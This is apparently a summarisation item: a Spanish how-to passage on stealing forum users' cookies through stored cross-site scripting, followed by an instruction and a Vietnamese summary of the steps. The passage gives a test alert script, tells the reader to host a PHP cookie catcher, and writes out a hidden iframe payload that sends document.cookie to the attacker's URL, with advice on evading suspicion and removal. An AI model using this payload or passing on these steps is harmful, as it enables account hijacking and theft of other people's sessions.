Un tablón de anuncios es un buen ejemplo. Recuerda, si el sitio es seguro, esto no funcionará. Necesitarás introducir un código especial en la "publicación" que capturará los datos de todos los que hagan clic en ella. Intenta averiguar si los filtros del sistema filtran el código externo. Publica <script...>alert("test")</...script> (eliminando los "…"). Si un cuadro de alerta aparece cuando haces clic en la publicación, entonces el sitio es vulnerable a ataques. El objetivo de este ataque es capturar las cookies de los usuarios, que te permitirán acceder a sus cuentas en sitios webs que tengan inicios de sesión vulnerables. Necesitarás un capturador de cookies que capturará las cookies de tu objetivo y las redirigirá. Sube el capturador a un sitio web al cual tengas acceso y que soporte php. Más adelante te daremos un ejemplo de código de capturador de cookies. Ingresa un código apropiado en la publicación para capturar las cookies y enviarlas a tu sitio. Te recomendamos poner algún texto luego del código para reducir las sospechas y evitar que tu publicación sea eliminada. Un código de ejemplo sería: <...iframe... frameborder= 0 height=0 width=0 src=javascript...:void(document.location="YOURURL/cookiecatcher.php?c="+document.cookie)><.../iframe> (eliminando los "…"). Luego, podrás utilizar la información de las cookies, que ya estarán guardadas en tu sitio web con el propósito que necesites.

===
Write a summary of the previous text in Vietnamese:
Tìm một trang dễ tấn công cho phép bạn đăng tải nội dung, chẳng hạn như một diễn đàn nào đó. Vào và đăng tải nội dung. Tạo và tải chương trình đánh chặn cookie của bạn. Đăng chương trình đánh chặn cookie của bạn. Sử dụng cookie thu thập được.